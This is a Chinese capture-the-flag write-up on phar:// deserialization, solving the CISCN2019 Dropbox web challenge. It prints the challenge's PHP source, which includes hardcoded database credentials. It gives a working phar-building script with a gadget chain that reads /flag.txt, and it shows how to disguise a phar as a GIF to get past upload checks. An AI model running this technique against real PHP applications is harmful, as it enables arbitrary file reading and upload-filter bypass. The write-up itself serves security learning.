0x00知识点

phar是什么:

我们先来了解一下流包装

大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://,zlib://或php://。例如常见的

include('php://filter/read=convert.base64-encode/resource=index.php');
include('data://text/plain;base64,xxxxxxxxxxxx');

phar://也是流包装的一种

phar原理

**可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

当我们上传上去生成后的Phar格式文件后,即使格式有变化,也不影响他的作用。

我们以phar://协议去访问这个文件,依旧可以把那个对象给反序列化。

运行以下代码生成phar.phar

<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
} $a = new User();
$a->db = new FileList(); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new User();
$o->db = new FileList(); $phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

使用winhex打开

可以明显的看到meta-data是以序列化的形式存储的。有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下

将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

<?php
class TestObject { }
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new TestObject();
$object -> data = 'hu3sky';
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>

采用这种方法可以绕过很大一部分上传检测

0x01利用条件

phar文件要能够上传到服务器端。如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数

要有可用的魔术方法作为“跳板”。

文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

:什么是魔术方法?

php的魔术方法,为什么要叫魔术方法?__call($func,$args)会在对象调用的方法不存在时,自动执行。 $func:被调用的方法名,所以$func()在这个魔术方法中,可以表示被调用的那个方法; $args : 被调用方法中的参数(这是个数组)

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

在本题中,此方法的作用,是去调用对象没有的方法。首先把要调用的方法,压进$this->funcs中,然后遍历每一个文件,让每一个文件,都去调用刚才的方法。比如在index.php中,就出现了这个函数的调用。

当执行 $a = new FileList($_SESSION[‘sandbox’])时,会先调用构造函数,把“$_SESSION[‘sandbox’]”目录下的所有文件,都放到 $a->files中,注意这是个数组,解释了为什么,在后面构造payload时,$this->files要等于一个数组。然后 $a->Name(); 调用了一个FileList中并没有的方法,就会自动调用 __all($func, $args)函数,其中$func=Name。然后让

$a->files里的所有文件,都去调用这个方法。并把结果,存储在以filename为一级键名,方法为二级键名的数组中。然后Size方法同样如此。

也就时说,它在程序中的作用就是,遍历我们上传的所有文件,并把它们的信息,储存在$a->result这个二维数组中。

0x02利用phar://解题

打开题目一个普通的登陆窗口,注册登陆

上传文件测试发现有任意文件下载读取漏洞

利用该漏洞下载download.php,delete.php以及其需要包含的class.php的内容。

<?php
#download.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
} if (!isset($_POST['filename'])) {
die();
} include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>

/////////////////////////////////////////////////////////////////////////////////

<?php
#delete.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
} if (!isset($_POST['filename'])) {
die();
} include "class.php"; chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

////////////////////////////////////////////////////////////////////////////

<?php
#class.php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User {
public $db; public function __construct() {
global $db;
$this->db = $db;
} public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
} public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
} public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
} public function __destruct() {
$this->db->close();
}
} class FileList {
private $files;
private $results;
private $funcs; public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path); $key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]); foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
} public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
} public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">åˆ é™¤</a></td>';
$table .= '</tr>';
}
echo $table;
}
} class File {
public $filename; public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
} public function name() {
return basename($this->filename);
} public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
} public function detele() {
unlink($this->filename);
} public function close() {
return file_get_contents($this->filename);
}
}
?>

0x03审计源码

分析download.php的核心源码可以发现,该文件只有很常规的下载文件操作,并且限制了不能下载文件名中带有flag的文件。

接着分析delete.php的代码。

单独看这段代码没有发现可以利用的地方,这段代码的作用只是返回一个成功或失败的消息。

接着分析class.php。这个文件中定义了用户和文件相关的类。

File类中的close方法会获取文件内容,如果能触发该方法,就有可能获取flag

User类中存在close方法,并且该方法在对象销毁时执行。

同时FileList类中存在call魔术方法,并且类没有close方法。如果一个Filelist对象调用了close()方法,根据call方法的代码可以知道,文件的close方法会被执行,就可能拿到flag。

根据以上三条线索,梳理一下可以得出结论:

如果能创建一个user的对象,其db变量是一个FileList对象,对象中的文件名为flag的位置。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法,进而变成了执行File对象的close方法。通过分析FileList类的析构方法可以知道,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来。

注意到File类中的close方法执行时会获得文件的内容,如果能触发该方法,就有机会得到flag。运行如下PHP文件,生成一个phar文件,更改后缀名为png进行上传。

在File类中,close方法存在file_get_contents()函数,在User中,会调用改方法$this->db->close(),如果有回显的化,我们就可以直接构造payload:

db = new File();
?>

然后放到phar文件后,就可以了。但事实并没有回显,那么我们就让$this->db = new FileList(),让它去调用close,然后调用__call(),然后再调用 __destruct()函数,打印结果。

<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
} $a = new User();
$a->db = new FileList(); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new User();
$o->db = new FileList(); $phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

在删除时使用burpsite抓包,修改参数,即可得到flag。

参考链接:

https://www.cnblogs.com/kevinbruce656/p/11316070.html

https://xz.aliyun.com/t/2715#toc-7

[CISCN2019 华北赛区 Day1 Web1]Dropbox-phar文件能够上传到服务器端实现任意文件读取的更多相关文章

  1. PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox

    PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...

  2. 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...

  3. [CISCN2019 华北赛区 Day1 Web1]Dropbox

    0x01 前言 通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大.但在不久前的Black Hat上,安全研究员Sam ...

  4. BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox

    步骤: 1.运行这个: <?php class User { public $db; } class File { public $filename; } class FileList { pr ...

  5. 关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox

    太难了QAQ 先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571 简单的说,phar就是php的压缩文件,它可以把多个 ...

  6. 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk 一.知识点 1.伪协议文件读取 2.报错注入 刷题记录:[CISCN2019 华北赛区 Day1 Web5]Cy ...

  7. 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun 一.涉及知识点 1.薅羊毛逻辑漏洞 2.jwt-cookies伪造 Python反序列化 二.解题方法 刷题记录:[CIS ...

  8. 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World

    目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...

  9. BUUCTF | [CISCN2019 华北赛区 Day2 Web1]Hack World

    id=0 id=1 id=2 id=3 发现结果不一样,尝试 : ">4","=4","<4" : 在自己的环境下验证一下: 爆 ...

随机推荐

  1. 三、深入Vue组件——Vue插槽slot、动态组件

    一.插槽slot() 1.1简单插槽slot [功能]用于从父组件中,通过子组件写成双标签,向子组件中放入自定的内容 parent.vue [1]首先把child写成双标签样式,把要插入的内容放双标签 ...

  2. MongoDB_04_插入和查询

    案列需求: 存在文章评论的数据存放到MongoDB中,数据结构参考如下: 数据库:articledb 专栏文章评论 comment / / 字段名称 字段含义 字段类型 备注 _id ID Objec ...

  3. 【pwnable.kr】 memcpy

    pwnable的新一题,和堆分配相关. http://pwnable.kr/bin/memcpy.c ssh memcpy@pwnable.kr -p2222 (pw:guest) 我觉得主要考察的是 ...

  4. CSS - 强制换行和禁止换行强制换行 和禁止换行样

    强制换行 word-break: break-all;       只对英文起作用,以字母作为换行依据. word-wrap: break-word;   只对英文起作用,以单词作为换行依据. whi ...

  5. 121-PHP类成员函数(二)

    <?php class ren{ //定义人类 const name='ren'; public function classname(){ echo '这个类的名称:'.self::name; ...

  6. 7. 单机版Redis的安装以及Redis生产环境启动方案

    安装单机版redis redis的生产环境启动方案redis cli的使用 1. 安装单机版redis 大家可以自己去官网下载,当然也可以用课程提供的压缩包 wget http://downloads ...

  7. 常见的Java的软件包

    java.lang: language java的核心包,Object System String Throwable jdk1.2版本后,该包中的类自动被导入. java.awt: 定义的都是用于j ...

  8. 三、ReactJS、jsx、 Component 特性

    reactjs特性: 基于组件(Component)化思考 用 JSX 进行声明式(Declarative)UI 设计 使用 Virtual DOM Component PropType 错误校对机制 ...

  9. dp学习笔记(各种dp,比较杂)

    HDU1176 中文题意不多解释了. 建一个二维dp数组,dp[ i ][ j ]表示第 i 秒落在 j 处一个馅饼.我们需要倒着DP,为什么呢,从 0秒,x=5处出发,假如沿数组正着往下走,终点到哪 ...

  10. Mac修改用户名后程序配置和文件都找不到了?

    小编今天手残,修改mac 的用户名,幸亏文件没丢失,要不然配置程序估计至少要花费周末的两天时间了.. 所幸的是,各种Google,终于找回了原用户名下的所有配置. 接下来,讲讲小编如何入坑又如何脱坑的 ...